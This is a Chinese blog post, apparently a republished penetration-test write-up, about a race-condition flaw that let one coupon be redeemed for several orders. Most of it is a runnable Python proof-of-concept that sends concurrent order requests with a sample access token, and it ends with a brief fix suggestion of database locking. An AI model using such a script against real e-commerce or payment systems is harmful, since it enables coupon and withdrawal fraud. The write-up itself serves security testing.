经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
条件竞争漏洞测试 - APT-101
来源:cnblogs  作者:APT-101  时间:2019/8/19 8:48:57  对本文有异议

概念:

竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞。

 

曾经出现过的漏洞:

 

网上大部分是使用转账的列子来说明的,曾经乌云提现环节就出现过这个漏洞,当时大神也是提现到账3000块,官方24小时紧急修复,承认提现有效。美滋滋,但愿乌云早日归来,仍是少年。

 

今天在渗透测试中,刚好碰到了此类漏洞,就简单实践下。

使用一张200块的优惠券,可以重复下单多次,达到一张优惠券,多次使用的目的。

 

基本方法就是,在提交订单的时候,抓取包,然后然后然后构造脚本,进行多线程并发操作。

备注:这最初一直使用burp intrude 的模块,设置如下:

payloads  payload type: Null payloads

payloads options [Null payloads] Contunue indefinietly

Options Number of threads: 20

死活测试不出来,不知道是不是因为这个模块,默认会发送一次请求包的原因。

最后构造Python脚本,成功复现此漏洞。

coupon_poc.py 如下:

  1. #!/usr/bin/env python
  2. #coding: utf8
  3. #author: by Gandolf
  4.  
  5. import requests
  6. import json
  7. import threading
  8. import queue
  9. url = "https://www.baidu.com/api/xxx/"
  10. payload = {"couponDetailId":56194,"email":"test123@gmail.com","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2}
  11. headers = {
  12. 'Accept': 'application/json',
  13. 'deviceId': 'fcc62818-9949-21c4-0832-5396fea4363b',
  14. 'languageId': 'en',
  15. 'appVersion': '8',
  16. 'deviceType': 'android',
  17. 'deviceMode': 'Google Nexus S',
  18. 'platformVersion': '4.1.1',
  19. 'countryId': 'PH',
  20. 'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I',
  21. 'Content-Type': 'application/json',
  22. 'Content-Length': '106',
  23. 'Host': 'www.baidu.com',
  24. 'Connection': 'close',
  25. 'Accept-Encoding': 'gzip, deflate',
  26. 'User-Agent': 'okhttp/3.12.0',
  27. 'Cache-Control': 'no-cache'
  28. }
  29. threads = 25
  30. q = queue.Queue()
  31. for i in range(50):
  32. q.put(i)
  33. def post():
  34. while not q.empty():
  35. q.get()
  36. r = requests.post(url, data=json.dumps(payload), headers=headers)
  37. print(r.json())
  38. if __name__ == '__main__':
  39. for i in range(threads):
  40. t = threading.Thread(target=post)
  41. t.start()
  42. for i in range(threads):
  43. t.join()

 

此类漏洞一般出现在:签到,积分兑换,转账,优惠券,提现,文件上传等环节。

修复方案当然是给数据库加锁啦

完!

 

原文链接:http://www.cnblogs.com/hack404/p/11369166.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号